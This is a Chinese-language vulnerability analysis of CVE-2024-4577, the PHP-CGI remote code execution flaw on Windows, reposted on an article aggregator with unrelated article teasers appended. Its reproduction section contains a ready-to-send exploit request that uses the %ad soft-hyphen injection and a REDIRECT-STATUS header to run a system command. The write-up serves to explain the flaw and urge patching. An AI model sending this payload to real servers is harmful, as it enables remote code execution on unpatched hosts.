漏洞分析|PHP-CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

news2024/11/25 7:10:31

1.漏洞描述

CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的,相对来说PHP在这个漏洞里更像是一个受害者。

PHP语言在设计时忽略了Windows系统内部对字符编码转换的Best-Fit特性,当PHP运行在Window平台且使用了如繁体中文(代码页950)、简体中文(代码页936)和日文(代码页932)等语系时,威胁者可构造恶意请求绕过CVE-2012-1823的保护,通过参数注入等攻击在目标PHP服务器上远程执行代码。

2.影响版本

PHP 8.3 < 8.3.8

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29

该漏洞影响安装于Windows系统上的PHP 版本。由于PHP 8.0 分支、PHP 7 以及PHP 5 官方已不再维护

3.影响范围

4.漏洞复现

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input%20 HTTP/1.1
Host: 127.0.0.1
User-Agent: Opera/9.98.(Windows 98; Win 9x 4.90; fur-IT) Presto/2.9.173 Version/11.00
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
REDIRECT-STATUS: 1
Content-Length: 22

<?php system("dir");?>

5.漏洞分析

看看漏洞利用条件

首先得是Window环境

漏洞是由于Windows系统内字符编码转换的Best-Fit特性导致得所以必须是windows环境,其他不影响

然后由于这个特性,windows正在使用的语言系统是以下三种

繁体中文 (字码页 950)

简体中文 (字码页 936)

日文 (字码页 932)

在poc中用到得特殊字符是%ad,看看%ad是什么

/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input

编码转换的Best-Fit特性会将"%ad "转换成"-"

而"-"发挥得作用是什么,我们看看源码

在新的commit当中还加入了对0x80以上的所有字符的限制来修复这个问题,原本代码中就过滤了"-"符号

上面还有一段注释

如果get发送的请求字符串中不包含”=”,那么Apache就会把请求传到命令行作为cgi的参数。但这会导致恶意请求就可以将命令行参数传递给php,如果直接处理传参,那么会影响到以独立脚本方式运行的PHP脚本。所以只有当开头是-的时候(跳过所有空白符号)才阻止传递参数。

也就是说这个漏洞是绕过CVE-2012-1823的限制

利用Best-Fit特性会将"%ad "转换成"-",导致参数传递没有被阻止,从而利用漏洞

当目标以以CGI模式运行的PHP环境时,配置如下

#
# PHP-CGI setup
#
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php-cgi
</FilesMatch>
<IfModule actions_module>
    Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
</IfModule>

apache会把请求直接转发给php-cgi。结合上面的特性,你可以通过传%ad来传入一个"-",这样在-之后的部分就会成为php-cgi的参数。

在httpd-xampp.conf中就可以找到这一串代码

访问/php-cgi/路径的时候,会映射D:/xampp/php/下的文件

只有php-cgi.exe是granted的,我们把视角还是回到php-cgi上。

我们直接访问调用php-cgi.exe会有安全警告

我们看看代码

https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1897

PHP增加了一个配置叫做cgi.force_redirect=1,开启了这个选项(默认开启)之后,只有经过重定向的规则请求才能执行,不能直接调用执行。

我们得想办法绕过它才能继续执行

在源码中发现REDIRECT_STATUS或HTTP_REDIRECT_STATUS不为空时即可

那我们给REDIRECT-STATUS:1即可绕过这个限制

6.修复建议

目前该漏洞已经修复,受影响用户可升级到PHP版本8.3.8、8.2.20、8.1.29或更高版本。

下载链接:

https://github.com/php/php-src/tags

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1828592.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一键自动粘贴,高效处理邮箱地址,让你的工作效率翻倍提升!

在信息爆炸的时代&#xff0c;邮箱地址已成为我们日常工作和生活中的必备元素。无论是商务沟通、报名注册还是信息传递&#xff0c;邮箱地址都扮演着至关重要的角色。然而&#xff0c;手动复制粘贴邮箱地址的繁琐操作往往让人头疼不已&#xff0c;不仅效率低下&#xff0c;还容…

锁存器的工作原理及其在FPGA设计中的注意事项

锁存器&#xff08;Latch&#xff09;是数字电子中常用的一种基本元件&#xff0c;用于在特定的时间点或条件下“锁存”或保存输入的数据值。锁存器对脉冲电平敏感&#xff0c;它只在输入脉冲的高电平&#xff08;或低电平&#xff09;期间对输入信号敏感并改变状态。在数字电路…

【原理图PCB专题】案例:为什么要把Cadence原理图符号库设计好

Cadence 原理图符号库设计对于提高设计质量、效率和可维护性具有重要意义。一份好的原理图符合库能够帮助我们更好的达成设计目标: 提高设计效率:拥有一个完善的符号库可以让设计师直接调用所需的符号,避免重复绘制,从而节省时间。 确保设计准确性:统一的符号库可以保证符…

快速压缩前端项目

背景 作为前端开发工程师难免会遇到需要把项目压缩成压缩文件来传送的情况&#xff0c;这时候需要压缩软件进行压缩文件处理 问题 项目中的依赖包文件非常庞大&#xff0c;严重影响压缩速度&#xff0c;即使想先删除再压缩&#xff0c;删除文件也不会很快完成 解决 首先要安…

一键分析Bulk转录组数据

我们前面介绍了经典的转录组分析流程&#xff1a;Hisat2 Stringtie&#xff0c;可以帮助用户快速获得基因的表达量矩阵。 云上生信&#xff0c;未来已来 | 转录组标准分析流程重磅上线&#xff01; RNA STAR 也是一款非常流行的转录组数据分析工具。它不仅可以将测序 Reads 比…

博通加速向Nvidia发起进攻 为何连iPhone 15都不能用“苹果智能”?

博通加速向Nvidia发起进攻 博通强调的一项优势是其 XPU 的能效。其功耗不到 600 瓦&#xff0c;是业内功耗最低的 AI 加速器之一。 Nvidia 的许多竞争对手都想抢占其市场主导地位。其中一个不断出现的名字是 Broadcom。仔细观察就会知道原因。其 XPU 功耗不到 600 瓦&#xff…

JavaScript-转换成布尔型

学习目标&#xff1a; 掌握转换成布尔型 学习内容&#xff1a; 显示转换隐式转换 显示转换&#xff1a; Boolean&#xff08;内容&#xff09; 记忆&#xff1a;、0、underfined、null、false、NaN转换成布尔值后都是false&#xff0c;其余则为true。 console.log(Boolean(p…

Mac M3 Pro 部署Trino-server-449

目录 1、下载安装包 2、解压并设置配置参数 3、启动并验证 4、使用cli客户端连接测试 1、下载安装包 官方&#xff1a;trino-server-449 CLI 网盘&#xff1a; server https://pan.baidu.com/s/16IH-H39iF8Fb-Vd14f7JPA?pwd3vjp 提取码: 3vjp cli https://pan.baidu.…

react-day1

1.react是什么呢&#xff1f; react是由Meta公司开发&#xff0c;是一个用于构建web和原生交互界面的库 2.react 项目修改文件保存后 &#xff0c;不能实时更新&#xff0c;需要&#xff1a; 在和package.json文件同目录的地方&#xff0c;新建.env文件&#xff1a;里面加入…

食家巷助力“甘肃乡村振兴,百强主播·打call 甘味”活动

2024年&#xff0c;甘肃省“商务乡村振兴”促消费暨“百强主播打call 甘味”活动在天水市龙城广场盛大启动。 活动现场&#xff0c;来自甘肃省 14 个市州的农特产品展台琳琅满目&#xff0c;让人目不暇接。此次活动中&#xff0c;各企业带来了多款深受消费者喜爱的产品&a…

【MATLAB】(高数)

参考文章 函数极限 导数与偏导 极值和最值 局部范围的最值 局部范围内的最值&#xff0c;相当于函数的极值 离散数据的最值 多元函数的极值 fminunc [x, fval] fminunc(fun, x0)fun为代求极值的函数&#xff1b;x0为起始点&#xff0c;即从这个点开始寻找极值&#xff0c;…

华媒舍:明星祝福视频,为你送上最真挚的祝福!

引言&#xff1a;嗨&#xff0c;亲爱哒书友&#xff01;在这样一个科谱详细介绍文中&#xff0c;我们将带你领略一份尤其的独家合辑——十部明星祝愿视频。这种视频汇聚了诸多明星为你送上的最真挚的祝福。让我们一起来探寻这种电影中蕴含的情绪和价值吧&#xff01; 1.共享温暖…

​​Vitis HLS 学习笔记--添加 RTL 黑盒函数

目录 1. 简介 2. 用法详解 2.1 需要的文件 2.1.1 RTL 函数签名 2.1.2 黑盒 JSON 描述文件 2.1.3 RTL IP 文件 2.2 操作步骤 3. 总结 1. 简介 Vitis HLS 工具可以将现有的 Verilog RTL IP&#xff08;即硬件描述语言编写的模块&#xff09;集成到 C/C HLS 项目中。通过…

【AI实践】Dify调用本地和在线模型服务

背景 Ollama可以本地部署模型&#xff0c;如何集成私有数据、如何外部应用程序对接&#xff0c;因此需要有一个应用开发框架 Dify功能介绍 欢迎使用 Dify | 中文 | Dify 下文将把dify部署在PC上&#xff0c;windows环境&#xff1b; 安装部署 安装dify及docker jacobJacobs…

Android面试题 之 网络通信基础 面试题

本文首发于公众号“AntDream”&#xff0c;欢迎微信搜索“AntDream”或扫描文章底部二维码关注&#xff0c;和我一起每天进步一点点 序列化 判断标准 序列化后的码流大小性能跨语言 Serializable方式 码流偏大性能较低 XML方式 人机可读性好文件格式复杂、占带宽 JSON …

SpringBoot自定义Starter及原理分析

目录 1.前言2.环境3.准备Starter项目4.准备AutoConfigure项目4.1 准备类HelloProperties4.2 准备类HelloService4.3 准备类HelloServiceAutoConfiguration4.4 创建spring.factories文件并引用配置类HelloServiceAutoConfiguration4.5 安装到maven仓库 5.在其他项目中引入自定义…

Stable Diffusion3 开源!一文教你玩转 Stable Diffusion3

节前&#xff0c;我们组织了一场算法岗技术&面试讨论会&#xff0c;邀请了一些互联网大厂朋友、今年参加社招和校招面试的同学。 针对大模型技术趋势、大模型落地项目经验分享、新手如何入门算法岗、该如何准备面试攻略、面试常考点等热门话题进行了深入的讨论。 汇总合集…

企业化运维(4)_tomcat

###1.配置tomcat### 可以将tomcat部署在server2主机&#xff0c;与nginx主服务器分开&#xff0c;便于进行交互存储。 下载安装jdk与tomcat&#xff0c;并开启服务&#xff0c;便可以在浏览器进行访问。 [rootserver3 ~]# rpm -ivh jdk-8u121-linux-x64.rpm [rootserver3 ~]#…

window安装miniconda

下载 https://mirrors.tuna.tsinghua.edu.cn/anaconda/miniconda/ 安装 双击安装 配置环境变量 添加&#xff1a;PYTHONUSERBASE你的安装路径 添加Path&#xff1a; cmd执行&#xff1a; python -m site将USER_SITE添加进Path 还需要将如下添加进环境变量 D:\Miniconda…

Python学习笔记13 -- API的说明及使用

一、API说明 1、API&#xff1a;Application Programming Interface -- 接口 2、Restful API&#xff1a;基于网页的API 3、JSON&#xff1a;JavaScript objection Notation 4、很多数据都可以找到公用API 二、安装requests模块 在终端输入&#xff1a; 可以保证使用当前…